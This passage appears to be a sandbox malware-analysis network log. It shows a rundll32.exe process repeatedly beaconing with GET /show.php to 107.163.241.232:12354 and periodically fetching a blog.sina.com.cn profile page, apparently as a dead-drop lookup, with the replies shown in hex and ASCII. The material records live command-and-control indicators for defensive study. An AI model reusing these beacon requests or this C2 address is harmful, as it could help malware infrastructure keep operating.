Dec 11, 2024 16:25:41.616710901 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49986	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:41.617083073 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:25:43.186914921 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:42 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50011	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:43.746990919 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50014	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:43.864727974 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50034	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:45.520080090 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50036	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:45.672887087 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50037	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:45.674066067 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:25:47.247637033 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:46 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50062	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:47.779491901 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50065	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:47.922308922 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50085	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:49.647121906 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50087	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:49.765512943 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50088	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:49.765539885 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:25:51.495618105 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:51 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50113	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:51.876904011 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50115	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:51.997215033 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50135	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:53.647526026 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50137	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:53.762279987 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50138	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:53.762641907 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:25:55.319665909 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:55 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50165	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:55.893282890 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50167	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:56.015638113 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50189	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:57.657695055 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50192	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:57.797046900 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	50193	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:57.798017025 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:25:59.391890049 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:59 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	50219	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:59.895025015 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	50223	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:00.034758091 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	50239	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:01.928225994 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50246	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:02.117824078 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50247	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:02.120924950 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:26:03.678016901 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:03 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50268	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:04.148794889 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	50276	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:04.341126919 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50299	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:06.150037050 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	50303	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:06.255866051 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:26:07.845601082 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:07 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	50304	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:06.255980968 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	50337	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:08.392535925 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	50340	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:08.523097992 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	50371	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:10.160414934 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	50374	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:10.293656111 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	50375	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:10.295696020 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:26:11.864341974 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:11 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50412	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:12.402540922 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50415	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:12.528937101 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50447	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:14.284308910 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	50452	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:14.455930948 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

